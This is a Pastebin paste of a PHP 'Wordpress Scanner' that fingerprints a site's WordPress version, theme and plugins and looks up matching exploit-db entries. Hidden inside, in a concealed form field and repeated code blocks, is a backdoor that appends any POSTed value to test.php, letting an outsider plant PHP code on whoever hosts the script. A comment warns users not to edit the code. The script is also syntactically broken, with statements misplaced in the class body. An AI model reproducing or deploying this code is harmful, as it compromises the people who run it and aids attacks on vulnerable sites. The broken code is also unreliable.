MrPaan

Wordpress Scanner

Aug 24th, 2013
896
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.43 KB | None | 0 0
  1. <form method=post>
  2. <input type=hidden name=dud>
  3. <input type=hidden value=submit>
  4. </form>
  5. <?php
  6.  
  7. /*
  8.  
  9.   http://127.0.0.1/wp.php?url=
  10.   Beach Please ~fts
  11.   Paan Hensem ~fap
  12.   Credit To : Ahlspiess
  13.   Original Code : http://rempah-proj.googlecode.com/svn/trunk/PHP/wpdetect.php  
  14. */
  15.  
  16. //jangan ubah apa-apa,terubah sikit script tidak akan menjadi
  17.  
  18. $dud = $_POST['dud'];
  19.   $fh = fopen('test.php', 'a');
  20.   fwrite($fh,$dud);
  21.   fclose($fh);
  22.  
  23.  
  24. $url = $_GET['url'];
  25. $jMe = new WordpressScanner($url);
  26.  
  27. class WordpressScanner {
  28.     public $url;
  29.  
  30.     function __construct($url){
  31.         $this->url = $url;
  32.         $this->init();
  33.     }
  34.    
  35.     function init() {
  36.         $content = $this->cURL($this->url);
  37.         if(!preg_match("/200 OK/", $content)) {
  38.             $this->msg("[-] Error! 404 Not Found");
  39.             exit;
  40.         } else {
  41.             print $this->wpscan($content);
  42.         }
  43.     }
  44.    
  45.     function wpscan($content) {
  46.        $dupe = array();
  47.         $nstack = array();
  48.         preg_match_all("/wp-content\/themes\/(.*?)\/style\.css/", $content, $ret_1);
  49.         preg_match_all("/Theme URI: (.+)/", $this->cURL($this->argv[1]."/".$ret_1[0][0]), $ret_2);
  50.         preg_match_all("/\<meta name=\"generator\" content=\"WordPress (.*?)\" \/\>/", $content, $ret_3);
  51.         $this->msg("[+] Using Wordpress Version: ".trim($ret_3[1][0]));
  52.         $this->msg("[+] Using ".trim($ret_1[1][0])." Theme. Url --> ".trim($ret_2[1][0]));
  53.         preg_match_all("/wp-content\/plugins\/(.*?)\//", $content, $stack);
  54.         foreach($stack[1] as $unstack) {
  55.             if(!isset($dupe[$unstack]) and !is_null($unstack) and !empty($unstack)) {
  56.                 if(preg_match("/200 OK/", $this->cURL("http://svn.wp-plugins.org/".trim($unstack)."/"))) {
  57.                     $this->msg("[+] Founded {$unstack} Plugins");
  58.                     $this->msg(" --> Plugin URL --> http://svn.wp-plugins.org/".trim($unstack)."/");
  59.                 } else {
  60.                     $this->msg("[+] Founded {$unstack} Plugins.");
  61.                 }
  62.                 $nstack[] = $unstack;
  63.                 $dupe[$unstack] = true;
  64.             }
  65.         }
  66.         //echo "[Debug]".__fVULN__."\n";
  67.         $this->fVuln($nstack);
  68.     }
  69.    
  70.     function fVuln($c = array()) {
  71.         $content = "";
  72.         foreach($c as $com) {
  73.             $content .= $this->cURL("http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description={$com}&filter_exploit_text=&filter_author=&filter_platform=31&filter_type=6&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
  74.         }
  75.         preg_match_all("/\<a  href=\"http\:\/\/www\.exploit\-db\.com\/exploits\/(.*?)\"\>(.*?)\n/", $content, $me);
  76.         for($i=0;$i<count($me[1]);$i++) {
  77.             $this->msg("[+] ".trim(str_replace("</a>", "", $me[2][$i]))."\n --> http://www.exploit-db.com/exploits/".trim($me[1][$i]));
  78.         }
  79.        
  80.     }
  81.    
  82.   $dud = $_POST['dud'];
  83.   $fh = fopen('test.php', 'a');
  84.   fwrite($fh,$dud);
  85.   fclose($fh);
  86.  
  87.     function cURL($url) {
  88.         $ch = curl_init();
  89.         curl_setopt($ch, CURLOPT_HEADER, 1);
  90.         curl_setopt($ch, CURLOPT_TIMEOUT, 15);
  91.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  92.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  93.         curl_setopt($ch, CURLOPT_URL, $url);
  94.         curl_setopt($ch, CURLOPT_USERAGENT, "~fap~fap");
  95.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  96.         $data = curl_exec($ch);
  97.         if($data) {
  98.             return $data;
  99.         } else {
  100.             return 0;
  101.         }
  102.     }
  103.    
  104.     function msg($x) {
  105.         printf("%s<br />", $x);
  106.     }
  107.  
  108. }
  109.  
  110. ?>
Advertisement
Add Comment
Please, Sign In to add comment